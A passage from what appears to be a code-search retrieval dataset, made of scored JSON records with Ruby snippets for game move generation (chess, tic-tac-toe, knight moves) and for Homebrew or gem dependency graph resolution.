"score": "0.65564317",
"text": "def each_winning_move\n\t\tall_winning_moves = []\n\t\tvertical_array = []\n\t\tall_winning_moves << @board[0]\n\t\tall_winning_moves << @board[1] \n\t\tall_winning_moves << @board[2]\n\t\tvertical_array = @board.transpose\n\t\tall_winning_moves << vertical_array[0]\n\t\tall_winning_moves << vertical_array[1]\n\t\tall_winning_moves << vertical_array[2]\n\t\tall_winning_moves << [@board[0][0], @board[1][1], @board[2][2]]\n\t\tall_winning_moves << [@board[0][2], @board[1][1], @board[2][0]]\n\t\tall_winning_moves\n\tend",
"title": ""
},
{
"docid": "3cd4bd408d90de5b88e9848e28707825",
"score": "0.6556176",
"text": "def generate_moves(only_captures = false)\n @check = in_check?\n ep, castling = @mv[@on_mv[@ply - 1]].ep, @mv[@on_mv[@ply - 1]].castling\n SQ.select { |sq| @colors[sq] == @mx }.each do |from|\n case @squares[from]\n when P\n to = from + DIR[@mx]\n add_move(from, to + 1, P, true) if @colors[to + 1] == @mn || to + 1 == ep\n add_move(from, to - 1, P, true) if @colors[to - 1] == @mn || to - 1 == ep\n if @colors[to] == EMPTY && !only_captures\n add_move(from, to, P)\n if (from > 80 || from < 40) && @colors[to + DIR[@mx]] == EMPTY\n add_move(from, to + DIR[@mx], P)\n end\n end\n when N\n STEP.each do |n|\n if @colors[from + n] == @mn\n add_move(from, from + n, N, true)\n elsif @colors[from + n] == EMPTY && !only_captures\n add_move(from, from + n, N)\n end\n end\n when B\n DIAG.each do |n|\n to = from + n\n while @colors[to] == EMPTY\n add_move(from, to, B) unless only_captures\n to += n\n end\n add_move(from, to, B, true) if @colors[to] == @mn\n end\n when R\n ORTH.each do |n|\n to = from + n\n while @colors[to] == EMPTY\n add_move(from, to, R) unless only_captures\n to += n\n end\n add_move(from, to, R, true) if @colors[to] == @mn\n end\n when Q\n OCTL.each do |n|\n to = from + n\n while @colors[to] == EMPTY\n add_move(from, to, Q) unless only_captures\n to += n\n end\n add_move(from, to, Q, true) if @colors[to] == @mn\n end\n when K\n OCTL.each do |n|\n if @colors[from + n] == @mn\n add_move(from, from + n, K, true)\n elsif @colors[from + n] == EMPTY && !only_captures\n add_move(from, from + n, K)\n next if @check || n.abs != 1\n if n == -1\n if castling[QSC[@mx]] == 1\n if @colors[from - 2] == EMPTY && @colors[from - 3] == EMPTY\n add_move(from, from - 2, K) if king_can_move?(from, from - 1)\n end\n end\n elsif castling[KSC[@mx]] == 1\n if @colors[from + 2] == EMPTY\n add_move(from, from + 2, K) if king_can_move?(from, from + 1)\n end\n end\n end\n end\n end\n end\n\n nil\n end",
"title": ""
},
{
"docid": "640824e5f6b0099e9c394d017c804bd5",
"score": "0.65464395",
"text": "def legal_moves(state)\n moves = []\n # Loop over all movable cards\n cards = movable_cards(state)\n cards.each do |card|\n # Loop over legal moves for this card \n legal_destinations(card).each do |dest|\n # Add move to list\n moves << [card, dest]\n end\n end\n moves\n end",
"title": ""
},
{
"docid": "4c559dd0a6383540b44b56fd6d190528",
"score": "0.65462375",
"text": "def moves \n []\n end",
"title": ""
},
{
"docid": "1b8645293f911ff2da3bf44a7eff22bb",
"score": "0.6543678",
"text": "def possible_moves(location)\n possible_moves = []\n\n possible_move = location\n possible_moves << [possible_move[0] + 1, possible_move[1] + 2]\n possible_moves << [possible_move[0] - 1, possible_move[1] + 2]\n possible_moves << [possible_move[0] + 1, possible_move[1] - 2]\n possible_moves << [possible_move[0] - 1, possible_move[1] - 2]\n possible_moves << [possible_move[0] + 2, possible_move[1] +1]\n possible_moves << [possible_move[0] - 2, possible_move[1] +1]\n possible_moves << [possible_move[0] + 2, possible_move[1] -1]\n possible_moves << [possible_move[0] - 2, possible_move[1] -1]\n \n self.array_of_possible_moves = possible_moves\n end",
"title": ""
},
{
"docid": "67a15367bd4a7b2f2459443321c49365",
"score": "0.65398455",
"text": "def moves\n poss_moves = []\n\n all_dirs = diag_dirs + straight_dirs\n all_dirs.each_with_index do |dir, idx|\n new_pos = get_pos(pos, dir)\n next unless @board.in_bounds?(new_pos)\n other = @board[new_pos]\n\n if idx < diag_dirs.length\n next if other.is_a?(NullPiece) || other.same_team?(self)\n else\n break unless other.is_a?(NullPiece)\n end\n\n poss_moves << new_pos\n end\n\n poss_moves\n end",
"title": ""
},
{
"docid": "35bb07dff6c0d9015914d63c23bd4f06",
"score": "0.65367526",
"text": "def possible_next_boards(mark)\n possible_moves = legal_moves\n possible_boards = possible_moves.map do |possible_move|\n next_board = self.clone\n next_board.mark(possible_move, mark)\n next_board\n end\n possible_boards\n end",
"title": ""
},
{
"docid": "4814aef43a8c36247addfb8cfbb93f50",
"score": "0.65330166",
"text": "def children\n if @next_mover_mark == :x\n @next_mover_mark = :o\n else @next_mover_mark = :x\n end\n new_moves = []\n VALID_POSITIONS.each do |pos|\n if @board.empty?(pos)\n new_board = @board.dup\n new_board[pos] = @next_mover_mark\n new_moves << TicTacToeNode.new(new_board,@next_mover_mark, pos)\n end\n end\n new_moves\n end",
"title": ""
},
{
"docid": "96d887f3166f58c9d30d19a7639d696f",
"score": "0.65313685",
"text": "def moves \n available_moves = []\n\n if move_dirs.include?(:horizontal)\n HORIZONTAL_DIRS.each do |delta|\n dx, dy = delta #[0, 1]\n horizontal_moves = grow_unblocked_moves_in_dir(dx, dy) # [0,2]\n available_moves.concat(horizontal_moves)\n end\n end\n\n if move_dirs.include?(:diagonal)\n DIAGONAL_DIRS.each do |delta|\n dx, dy = delta\n diagonal_moves = grow_unblocked_moves_in_dir(dx, dy)\n available_moves.concat(diagonal_moves)\n end\n end\n\n available_moves\n end",
"title": ""
},
{
"docid": "866c260e70a1da9f85dde70c234f5bfc",
"score": "0.6525035",
"text": "def get_valid_moves\n moves = []\n (0...@grid.length).each do |i|\n (0...@grid.length).each do |j|\n moves << [i,j] unless @grid[i][j].face_up\n end\n end\n moves\n end",
"title": ""
},
{
"docid": "b343979c154b17bdf04833b2e6a3532c",
"score": "0.6517755",
"text": "def possible_moves\n moves = Array.new\n @board.each_with_index do |row, row_index|\n row.each_with_index do |field, field_index|\n moves.push(field_name(row_index, field_index)) if field == nil\n end\n end\n return moves\n end",
"title": ""
},
{
"docid": "d150d7a08ba7984d5a57b73a7b3544f7",
"score": "0.6510794",
"text": "def moves\n results = []\n move_dirs.each do |direction|\n x,y = direction\n results += grow_unblocked_moves_in_dir(x,y)\n end\n results\n end",
"title": ""
},
{
"docid": "9a4f3740f5f92ee03ff82f9c31cf21a7",
"score": "0.65033627",
"text": "def combined_moves\n combined_data = moves.inject([]) do |combined, move|\n matching_move = combined.find_index { |combined_move| combined_move.last.number == move.from.number }\n if matching_move\n combined[matching_move].push(move.to)\n else\n combined.push([move.from, move.to])\n end\n\n combined\n end\n\n combined_data.map { |legs| JustBackgammon::CombinedMove.new(legs: legs) }\n end",
"title": ""
},
{
"docid": "73fd06dbf83cc2b688a4d2b5b0ef63cc",
"score": "0.650312",
"text": "def moves\n all_good_moves = []\n\n current_pos = self.pos\n all_unblocked_moves = []\n\n move_dirs.each do |dir| # for Rook: [ [1, 0], [-1, 0], [0, 1], [0, -1] ] \n dx, dy = dir\n all_unblocked_moves << grow_unblocked_moves_in_dir(dx, dy)\n end\n \n # For Rook:\n # ali unblocked moves = [ one_dir_set1, one_dir_set2..... one_dir_set4 ]\n # one_dir_set1 = [ [1,0], ..... [7,0] ]\n\n all_unblocked_moves.each_with_index do |one_dir_set, idx|\n \n one_dir_set.each do |pos|\n if @board[pos].is_a?(NullPiece)\n all_good_moves << pos\n elsif @board[pos].color == self.color\n break\n else # opposite color's piece\n all_good_moves << pos\n break\n end\n end\n end\n\n all_good_moves\n end",
"title": ""
},
{
"docid": "f4184549fa0bf8180deab2ec233f09ac",
"score": "0.64845693",
"text": "def possible_moves\n @rows.reduce([]) do |moves, row|\n moves.concat(row.reject { |value| @symbols.include?(value) })\n end\n end",
"title": ""
},
{
"docid": "9ba822efcde6a210d0101bb52affc387",
"score": "0.64788055",
"text": "def children\n available_moves = []\n (0...@board.rows.length).each do |i|\n (0...@board.rows[i].length).each do |j|\n if @board.empty?([i,j])\n new_board = @board.dup\n new_board[[i,j]] = next_mover_mark\n if next_mover_mark == :x\n next_mover_mark = :o\n else\n next_mover_mark = :x\n end\n available_moves << TicTacToeNode.new(new_board, next_mover_mark, [i,j]) \n end\n end\n end\n available_moves\n end",
"title": ""
},
{
"docid": "8ab495b02c1db486f9af31718731de0f",
"score": "0.6471722",
"text": "def moves\n pos=[]\n DIC[self.rank].each do |(row, col)|\n pos << [position.first + row, position.last + col]\n end\n\n all_moves = remove_invalid(pos)\n valid_moves(all_moves)\n end",
"title": ""
},
{
"docid": "607e25d4a95bd8ae82b9711476a1fb2b",
"score": "0.64694667",
"text": "def children\n possible_moves = []\n\n (0...3).each do |row|\n (0...3).each do |col|\n if self.board.empty?([row, col])\n new_move = TicTacToeNode.new(self.board.dup, ((self.next_mover_mark == :x) ? :o : :x), [row, col])\n new_move.board[[row, col]] = @next_mover_mark\n possible_moves << new_move\n end\n end\n end\n\n possible_moves\n end",
"title": ""
},
{
"docid": "d5cb90f691743fc8190328fac828b302",
"score": "0.6465953",
"text": "def children\n next_moves = []\n self.board.rows.each_with_index do |row, row_index|\n row.each_index do |col|\n if self.board.empty?([row_index, col])\n new_board = self.board.dup\n new_board.[]=([row_index, col], self.next_mover_mark)\n next_moves << TicTacToeNode.new(new_board, ((self.next_mover_mark == :x) ? :o : :x), [row_index, col])\n end\n end\n end\n next_moves\n end",
"title": ""
},
{
"docid": "419036d78ad920de8ebe31fb653b911f",
"score": "0.64512587",
"text": "def children\n possible_moves = []\n @board.rows.each.with_index do |row, i|\n row.each.with_index do |col, j|\n pos = [i, j]\n if @board.empty?(pos)\n new_board = @board.dup\n new_board[pos] = @next_mover_mark\n next_mark = @next_mover_mark == :x ? :o : :x\n prev_move = pos\n new_node = TicTacToeNode.new(new_board, next_mark, prev_move)\n possible_moves << new_node\n end\n end\n end\n possible_moves\n end",
"title": ""
},
{
"docid": "03c23fb54b3692b48e3e8420c550dd9b",
"score": "0.64498687",
"text": "def get_moves(loc)\n result = []\n @@moves.each { |p| result << add_move(loc, p) if valid_loc?(add_move(loc, p)) }\n result\n end",
"title": ""
},
{
"docid": "42686a7abcd0921a42a81f8324f6c3da",
"score": "0.6444674",
"text": "def possible_movements\n deltas = []\n DIRECTIONS.each do |delta|\n deltas.push(delta) if can_move_by? delta\n end\n deltas\n end",
"title": ""
},
{
"docid": "85091d3e3a84472ef54459465a5e4bb8",
"score": "0.6442153",
"text": "def children\n possible_moves = []\n (0...3).each do |x|\n (0...3).each do |y|\n if @board.empty?([x,y])\n board_dup = @board.dup\n current_pos = [x,y]\n board_dup[current_pos] = @next_mover_mark\n next_mark = prev_move_pos.nil? ? :o : board_dup[@prev_move_pos]\n node = TicTacToeNode.new(board_dup,next_mark,current_pos)\n possible_moves << node\n end\n end\n end\n possible_moves\n end",
"title": ""
},
{
"docid": "7f6f25e414e447306c2defff901983b1",
"score": "0.6428298",
"text": "def next_move\n last_move = total_moves - 1\n i = @current_move_index + 1\n i = last_move if i >= last_move\n @current_move_index = i\n build_setup(i)\n moves[i]\n end",
"title": ""
},
{
"docid": "c0e28112f96c58798948ba3bd9d836dd",
"score": "0.64271075",
"text": "def moves\n place = []\n\n\n end",
"title": ""
},
{
"docid": "dc14c1a7759f9f7f1e96a29f3ca7a6d3",
"score": "0.6418008",
"text": "def moves_array\n [up_right, up_left, right_up, right_down, down_right, down_left, left_up, left_down]\n end",
"title": ""
},
{
"docid": "a77242415f19f663ba259b23fd033446",
"score": "0.64160556",
"text": "def move_dirs\n x, y = pos\n possible_moves = []\n # going forward alone \n foward_steps.each do |step| # [1,2] or [1]\n possible_moves.push([x + step * forward_dir(color), y])\n end\n possible_moves \n end",
"title": ""
}
] |
f1cccede37851dcf3a4c2b39a6270436
|
Gets the firstlevel dependencies of the input formulae and recurses down to the leaves to get the complete dependency graph. The output of `brew deps foreach 1 ` is of the form: formula1: dep1 dep2 dep3 ... formula2: dep1 dep2 dep3 ... We need to add additional lines dep1: dep2: dep3: for all dependencies. This is consistent with the output of 'brew deps installed'. Also, the GraphML markup language requires a separate block for each node in the graph.
|
[
{
"docid": "28df8dea731f46a3045e44bec7f4b53a",
"score": "0.6297279",
"text": "def brew_deps_formulae(res, arg)\n out = %x[brew deps --for-each --1 #{arg}]\n unless $? == 0 # Check exit code\n abort\n end\n out.split(\"\\n\").each do |line|\n formula,deps = line.split(':')\n unless res.has_key? formula\n deps = deps.strip\n res[formula] = deps\n unless deps.empty?\n brew_deps_formulae(res, deps)\n end\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "56264f41ad605f58d7c21a5542fc759c",
"score": "0.6446065",
"text": "def recursive_deps\n Formula.expand_deps(self).flatten.uniq\n end",
"title": ""
},
{
"docid": "d8be7602c952a412574049c21cae7923",
"score": "0.6266251",
"text": "def dependency_tree(keg_name, recursive=true, args:)\n deps_for_formula(as_formula(keg_name), args: args\n ).map{ |x| as_formula(x) }\n .reject{ |x| x.nil? }\n .select(&:any_version_installed?\n )\n end",
"title": ""
},
{
"docid": "7bc361f60cfcb15d0e5e55677ad46fcd",
"score": "0.6144372",
"text": "def graph_dependencies(l, mode: :both)\n\t\t\t\t\tmanual_deps=Hash.new([])\n\t\t\t\t\tcase @ptype\n\t\t\t\t\twhen :python_pip2, :python_pip3\n\t\t\t\t\t\t#these are installed when bootstrapping pip but do not appear\n\t\t\t\t\t\t#in the Require: field. I think they may be safely removed\n\t\t\t\t\t\t#after installation of pip?\n\t\t\t\t\t\tmanual_deps.merge!({'pip' => %w(wheel setuptools)})\n\t\t\t\t\twhen :perl_cpan\n\t\t\t\t\t\t#these deps are no longer needed (Module::Build is included in perl5.10, and cpanm now use an http api)\n\t\t\t\t\t\t#manual_deps.merge!({'App::cpanminus' => %w(CPAN::Meta Module::Build), 'WebService::MusicBrainz' => [ \"Class::Accessor\", \"XML::LibXML\", \"XML::NamespaceSupport\", \"XML::SAX\" ], })\n\t\t\t\t\tend\n\t\t\t\t\tr={}\n\t\t\t\t\tl.each do |pkg|\n\t\t\t\t\t\tchildren=[]\n\t\t\t\t\t\tchildren |= package_dependency(pkg) if mode != :manual\n\t\t\t\t\t\tchildren |= manual_deps[pkg] if mode != :auto\n\t\t\t\t\t\tchildren=children.sort.uniq.select {|child| l.include?(child)}\n\t\t\t\t\t\tr[pkg]=children\n\t\t\t\t\tend\n\t\t\t\t\treturn Graph.new(r)\n\t\t\t\tend",
"title": ""
},
{
"docid": "262d713e5ea91ad5937a28658527e1d9",
"score": "0.60797566",
"text": "def go_deps(installed: true)\n\t\t\t\t# @full_graph and return @full_graph\n\t\t\t\tr=SH.run_simple(\"#{@packager} list --json all\")\n\t\t\t\t# this is not valid json, sigh, it is a list of {...}{...}{...}\n\t\t\t\tr=\"[#{r.gsub(/^}$/,'},')}{}]\"\n\t\t\t\trequire 'json'\n\t\t\t\tjson=JSON.parse(r)\n\t\t\t\tfull_graph={}; graph={}\n\t\t\t\tgosrc=(@go_dir+\"src/\").to_s\n\t\t\t\tjson[0...-1].each do |pkg|\n\t\t\t\t\tnext unless (dir=pkg[\"Dir\"]).start_with?(gosrc) #system package\n\t\t\t\t\tif (target=pkg[\"Target\"])\n\t\t\t\t\t\tnext unless Pathname.new(target).exist? if installed #non installed package\n\t\t\t\t\tend\n\t\t\t\t\tname=dir.slice(gosrc.length...dir.length)\n\t\t\t\t\tdeps=pkg[\"Deps\"]\n\t\t\t\t\tfull_graph[name]=deps||[] #here the deps could refer to system packages or non installed packages\n\t\t\t\tend\n\t\t\t\tfull_graph.each do |name, deps|\n\t\t\t\t\tgraph[name]=deps & full_graph.keys\n\t\t\t\tend\n\t\t\t\tgraph\n\t\t\tend",
"title": ""
},
{
"docid": "107fb67ed47b3a82e110dd370571df4a",
"score": "0.60682255",
"text": "def recursive_dependencies(dependencies, result = {}, parent = nil)\n dependencies.each do |name, dependency|\n next if missing_peer?(parent, dependency, name)\n next if yarn_lock_present && dependency[\"missing\"]\n next if dependency[\"extraneous\"] && dependency[\"missing\"]\n\n dependency[\"name\"] = name\n dependency[\"version\"] ||= extract_version(parent, name) if dependency[\"missing\"]\n\n (result[name] ||= []) << dependency\n recursive_dependencies(dependency[\"dependencies\"] || {}, result, dependency)\n end\n result\n end",
"title": ""
},
{
"docid": "79e39c956920ffc81a4899d177f6ae16",
"score": "0.59278077",
"text": "def dependencies(flat_list)\n @nodes = flat_list.map(&:clone)\n @nodes.each do |entry|\n entry.nodes = entry.nodes.map do |node|\n @nodes.detect{|entry| entry.name == node }\n end\n end\n # extract the start node if name was given\n @nodes = @nodes.detect{|node| node.name == name }.nodes unless name.nil?\n self\n end",
"title": ""
},
{
"docid": "7a61d20810069b72189e1529f67c4c6a",
"score": "0.5886267",
"text": "def recursive_dependencies(dependencies, result = {})\n dependencies.each do |name, dependency|\n next if dependency[\"peerMissing\"]\n next if yarn_lock_present && dependency[\"missing\"]\n (result[name] ||= []) << dependency\n recursive_dependencies(dependency[\"dependencies\"] || {}, result)\n end\n result\n end",
"title": ""
},
{
"docid": "cc3f3bf7511caa3192c230a39e9cc240",
"score": "0.58300614",
"text": "def dependency_graph\n return @dependency_graph if @dependency_graph\n\n graph = []\n files(false).each{|mf|\n mf.dependencies.each{|d|\n graph << [d, mf]\n }\n }\n\n @dependency_graph = Graph.new(files(false), graph)\n end",
"title": ""
},
{
"docid": "706c08e312ab260b2c052681d8c7bb47",
"score": "0.5751489",
"text": "def getDeps(name,version)\n #If it's just a bare version number assume it should be explicit requirement\n if !(version.include? ' ') then\n version = \"= \" + version\n end\n\n #Returns an array of hashes one for each possible version for that name\n gem_versions = Gems.dependencies [name]\n\n #If no explicit version is set or a beta version, find a better version\n if version == \">= 0\" or version == \"= 0\" or version =~ /[[:alpha:]]/ then\n gem_versions.each do |gem_version|\n if gem_version[:number] !~ /[[:alpha:]]/ then\n if (Gem::Version.new(gem_version[:number]) < Gem::Version.new(version.split(' ')[1])) or version.split(' ')[1] == \"0\" then\n version = \">= \" + gem_version[:number]\n end\n end\n end\n end\n\n #Add the current gem if the hash key has no value\n if $dependencies[name] == nil then\n $dependencies[name] = Array.new [version]\n else #Otherwise append\n $dependencies[name].push(version)\n end\n \n #Loop through hash array looking for right version\n gem_versions.each do |gem_version|\n\n if gem_version[:number] == version.split(' ')[1] then\n #Loop through the depenencies for a given version\n gem_version[:dependencies].each do |dep|\n dep_name = dep[0]\n dep_version = dep[1]\n exists = false\n\n #If a value exists append to existing key otherwise make a new array\n if $dependencies[dep_name] != nil then\n #Check if that version is already in the hash\n #Only check on versions that haven't been checked yet\n #Should fix endless recursion on circular dependencies\n $dependencies[dep_name].each do |other_version|\n if dep_version == other_version then\n exists = true\n end\n end\n #else\n # $dependencies[dep_name] = Array.new\n end\n\n if exists == false then\n\t #If it's a comma separated list of deps check one at a time\n if dep_version.include? ',' then\n dep_version.split(',').each do |comma_dep|\n getDeps(dep_name,comma_dep)\n end\n\t else #Look for subdependencies\n getDeps(dep_name,dep_version)\n\t end \n end\n end\n end\n end\nend",
"title": ""
},
{
"docid": "9d98ec352bed9819126f0c388a77bd8b",
"score": "0.57333153",
"text": "def dependencies recursive = nil\n if recursive\n resolver.component_dependencies self # FIXME\n else\n requires.map { |f| f.resolved_component }\n end\n end",
"title": ""
},
{
"docid": "afce54788242942066f932cc0e741f43",
"score": "0.5690351",
"text": "def dependency_list\n return @dependency_list if @dependency_list\n\n graph = edges.clone\n # will contain sorted elements\n l = []\n # start nodes, those with no incoming edges\n s = nodes.reject{|mf| mf.directives[:slinky_require]}\n while s.size > 0\n n = s.delete s.first\n l << n\n nodes.each{|m|\n e = graph.find{|e| e[0] == n && e[1] == m}\n next unless e\n graph.delete e\n s << m unless graph.any?{|e| e[1] == m}\n }\n end\n if graph != []\n problems = graph.collect{|e| e.collect{|x| x.source}.join(\" -> \")}\n raise DependencyError.new(\"Dependencies #{problems.join(\", \")} could not be satisfied\")\n end\n @dependency_list = l\n end",
"title": ""
},
{
"docid": "48b6cf43dae18874485832a1a9b2f860",
"score": "0.56602764",
"text": "def build_follow_dep_graph(rules)\n dep_graph = rules.map do |rule|\n dependency_rules = rules.select{\n |i| i.nonterminal?&&!i.alternation_rule?\n }.select{\n |i| i.term_names.include? rule.name}\n tuple = {:term => rule.name,\n :dependencies => dependency_rules,\n :first_set_deps => [],\n :follow_set_deps => []}\n end\n dep_graph = dep_graph.partition do |t|\n t[:dependencies].empty?\n end\n\n #Replace :dependencies with :first_set_deps and :follow_set_deps\n #:first_set_deps are those rules which must have their first_set\n #added to the term's follow_set. :follow_set_deps are those rules\n #which must have their follow_set added to the term's follow_set\n dep_graph.last.each do |t|\n t[:dependencies].each do |dep_rule|\n term_list = dep_rule.term_names\n term_position = term_list.index(t[:term])\n nullable_last = term_list.reverse.take_while do |i|\n rules.get_rule(i).nullable?\n end\n term_is_last = term_position == term_list.size - 1\n if term_is_last || nullable_last.include?(t[:term])\n unless dep_rule.name == t[:term]\n t[:follow_set_deps].push(dep_rule)\n end\n else\n term_after = term_list[term_position + 1]\n t[:first_set_deps].push(rules.get_rule(term_after))\n end\n end\n end\n\n empty_and_filled_follow_set_stages =\n dep_graph.last.partition{|t| t[:follow_set_deps].empty?}\n dep_graph = dep_graph[0...-1].concat(\n empty_and_filled_follow_set_stages)\n no_stage_deps_and_otherwise =\n split_by_follow_set_dep_order(\n empty_and_filled_follow_set_stages.last)\n dep_graph = dep_graph[0...-1].concat(no_stage_deps_and_otherwise)\n end",
"title": ""
},
{
"docid": "e0066d6a75aa2a518c615f7ddf0172ed",
"score": "0.5606417",
"text": "def find_expl_dependencies(nodes = Array[root])\n nodes.each { |node|\n if [:lasgn, :attrasgn].include? node.node_type\n v = node.get_variable\n if v != []\n node.expl_dependencies += v\n @dependency_table[node.name] +=\n v.reject { |variable| variable.name == node.name}\n end\n elsif node.node_type == :lval\n node.expl_dependencies << node\n else\n find_expl_dependencies(node.sons)\n end\n if node.sons.first != nil and node.sons.first.node_type == :call\n node.sons.first.expl_dependencies += node.expl_dependencies\n end\n }\n end",
"title": ""
},
{
"docid": "789e889d44f626fb8c007d2881d521f7",
"score": "0.558631",
"text": "def dependency_list\n return @dependency_list if @dependency_list\n\n results = []\n each_strongly_connected_component{|component|\n if component.size == 1\n results << component.first\n else\n cycle = component.map{|x| x.source}.join(\" -> \")\n raise DependencyError.new(\"Dependencies #{cycle} could not be satisfied\")\n end\n }\n @dependency_list = results\n end",
"title": ""
},
{
"docid": "b828caff9247bb645fe89fa7c2650a58",
"score": "0.5567881",
"text": "def remaining_dependencies\n dependencies = []\n @current_packages.each do |_, package|\n package.spec.dependencies.each do |dep|\n next if satisfy? dep\n dependencies << dep\n end\n end\n dependencies\n end",
"title": ""
},
{
"docid": "705801eff7cc9043277a3dbd2a831ab6",
"score": "0.5552401",
"text": "def print_graph\n @items.each do |item|\n puts \"#{item.inspect} depends on:\"\n\n predecessors = direct_predecessors_of(item)\n predecessors.each do |pred|\n puts \" #{pred.inspect}\"\n end\n puts \" (nothing!)\" if predecessors.empty?\n puts\n end\n end",
"title": ""
},
{
"docid": "e3154cdb2f62e5ba1b32a8635ba03856",
"score": "0.5531915",
"text": "def recursive_dependencies(dependencies, result = {})\n dependencies.each do |dependency|\n # \"shadow\" indicate a dependency requirement only, not a\n # resolved package identifier\n next if dependency[\"shadow\"]\n name, _, version = dependency[\"name\"].rpartition(\"@\")\n\n (result[name] ||= []) << {\n \"id\" => dependency[\"name\"],\n \"name\" => name,\n \"version\" => version,\n \"path\" => dependency_paths[dependency[\"name\"]]\n }\n recursive_dependencies(dependency[\"children\"], result)\n end\n result\n end",
"title": ""
},
{
"docid": "b2eded850045b4d8c69b558998606f5e",
"score": "0.5520184",
"text": "def gather_dependencies\n specs = @specs_and_sources.map { |spec,_| spec }\n\n dependency_list = Gem::DependencyList.new\n dependency_list.add(*specs)\n\n unless @ignore_dependencies then\n to_do = specs.dup\n seen = {}\n\n until to_do.empty? do\n spec = to_do.shift\n next if spec.nil? or seen[spec.name]\n seen[spec.name] = true\n\n spec.dependencies.each do |dep|\n results = find_gems_with_sources(dep).reverse # local gems first\n\n results.each do |dep_spec, source_uri|\n next if seen[dep_spec.name]\n @specs_and_sources << [dep_spec, source_uri]\n dependency_list.add dep_spec\n to_do.push dep_spec\n end\n end\n end\n end\n\n @gems_to_install = dependency_list.dependency_order.reverse\n end",
"title": ""
},
{
"docid": "a37776fbd222a36b901819185cfe519e",
"score": "0.5517778",
"text": "def setup_node_dependencies\n @index.each do |gem|\n gem_meta = collect_gem_meta(gem.first, gem[1].version)\n add_dependencies(gem.first, gem_meta)\n end\n end",
"title": ""
},
{
"docid": "9614550a907c7e49fccd6b1903c7ec6a",
"score": "0.54737306",
"text": "def dependency_graph\n silence_warnings do\n begin\n require 'rgl/adjacency'\n require 'rgl/dot'\n rescue LoadError\n odie \"Please install the RGL gem with 'gem install rgl'\"\n end\n end\n analyze\n # We use this instead of a dag, because there may be circular dependencies...\n graph = ::RGL::DirectedAdjacencyGraph.new\n each_project do |p|\n graph.add_vertex(p.name)\n p.dependencies(:subprojects => false).each do |depname|\n graph.add_vertex(depname) # does nothing if depname already exists\n graph.add_edge(p.name, depname)\n end\n end\n each_core_project do |p|\n next if p.name.match(/test/) # Skip test modules\n graph.add_vertex('node' == p.name ? '\"node\"' : p.name) # 'node' is a Dot keyword\n p.dependencies.each do |depname|\n graph.add_vertex(depname)\n graph.add_edge(p.name, depname)\n end\n end\n outfile = graph.write_to_graphic_file('svg')\n if which('dot').nil?\n owarn \"The 'dot' program is required to get an SVG image.\"\n return outfile.sub('.svg','.dot')\n else\n return outfile\n end\n end",
"title": ""
},
{
"docid": "03dc0266c7389054a44b6435c4e5ed6a",
"score": "0.54512054",
"text": "def each_dependency(&block)\n load_config['dependencies'].each(&block)\n end",
"title": ""
},
{
"docid": "c9f57f0e6b4fb0ed24767baa769c5cf5",
"score": "0.54447687",
"text": "def graph_dependencies(l, mode: :both, restrict: true, **_opts)\n\t\t\t\tmode = @graph_type if mode == :auto\n\t\t\t\tg=Graph.new\n\t\t\t\tg|self.manual_deps if mode != :deps\n\t\t\t\tg|packages_dependencies(l) if mode != :manual\n\t\t\t\t# add trivial deps so that the nodes passed are in the graph\n\t\t\t\tdeps={}; l.each {|p| deps[p]=[]}; g|deps\n\t\t\t\tg=g.subgraph(*l) if restrict\n\t\t\t\tg\n\t\t\tend",
"title": ""
},
{
"docid": "a93380355ab5e965d399fa1ce4a96430",
"score": "0.54332215",
"text": "def packages\n return [] if yarn_package_tree.nil?\n all_dependencies = {}\n recursive_dependencies(yarn_package_tree).each do |name, results|\n results.uniq! { |package| package[\"version\"] }\n if results.size == 1\n # if there is only one package for a name, reference it by name\n all_dependencies[name] = results[0]\n else\n # if there is more than one package for a name, reference each by\n # \"<name>-<version>\"\n results.each do |package|\n all_dependencies[\"#{name}-#{package[\"version\"]}\"] = package\n end\n end\n end\n\n all_dependencies\n end",
"title": ""
},
{
"docid": "89e0aa4f3a5262f99b84936ad6d436f7",
"score": "0.54213345",
"text": "def resolve\n demands = [].tap do |l_demands|\n graph.artifacts.each do |artifact|\n l_demands << [ artifact.name, artifact.version ]\n end\n end\n\n solution = Solve.it!(graph, demands)\n\n [].tap do |cached_cookbooks|\n solution.each do |name, version|\n cached_cookbooks << get_dependency(name).cached_cookbook\n end\n end\n end",
"title": ""
},
{
"docid": "6a98f526d344896d463cb28b1084ccdd",
"score": "0.5419407",
"text": "def compute_revdeps\n result = Hash.new { |h, k| h[k] = Set.new }\n each_autobuild_package do |pkg|\n pkg.dependencies.each do |pkg_name|\n result[pkg_name] << pkg.name\n end\n pkg.optional_dependencies.each do |pkg_name|\n result[pkg_name] << pkg.name\n end\n pkg.os_packages.each do |pkg_name|\n result[pkg_name] << pkg.name\n end\n end\n result\n end",
"title": ""
},
{
"docid": "0d6eca13eeaa5da101a1d76da7ae3901",
"score": "0.54145426",
"text": "def core_dependants_of(name)\n dependencies = {}\n Dir['src/tikzlibrarykodi.*.code.tex'].each do |filename|\n code = File.read filename\n sublibrary_name = filename[/kodi\\.(.*)\\.code/, 1]\n usetikzlibrary = /\\\\usetikzlibrary[\\[{]kodi\\.(\\w+)[\\]}]/\n dependencies[sublibrary_name] = code.scan(usetikzlibrary).map(&:first)\n end\n dependants = []\n upper_level = [name]\n until upper_level.empty?\n dependants.concat upper_level\n upper_level = []\n dependants.each do |d|\n upper_level.concat dependencies.select { |_, ds| ds.include? d }.keys\n end\n upper_level.reject! { |x| dependants.include? x }\n end\n dependants\nend",
"title": ""
},
{
"docid": "eb898d58a04d19d52b75b754df7c2c49",
"score": "0.54002875",
"text": "def reverse_dependencies(flat_list)\n if name.nil?\n @nodes = flat_list.map(&:clone) # .select{|entry| entry.nodes.empty? }\n else\n @nodes = flat_list.select{|entry| entry.nodes.include?(name) }.map(&:clone)\n end\n nodes.each{|node| node.reverse_dependencies(flat_list) }\n self\n end",
"title": ""
},
{
"docid": "e243d0846539a83d4784010c286d4ba7",
"score": "0.5384869",
"text": "def dependents\n return @dependents if @dependents\n res = self.parents\n res.dup.each do |d|\n res = res + d.dependents\n end\n res = res + slaves\n slaves.each do |s|\n res = res + s.dependents\n end\n @dependents = res\n res\n end",
"title": ""
},
{
"docid": "3c7e885e40815b5c0d1f4b611c7c3404",
"score": "0.53586096",
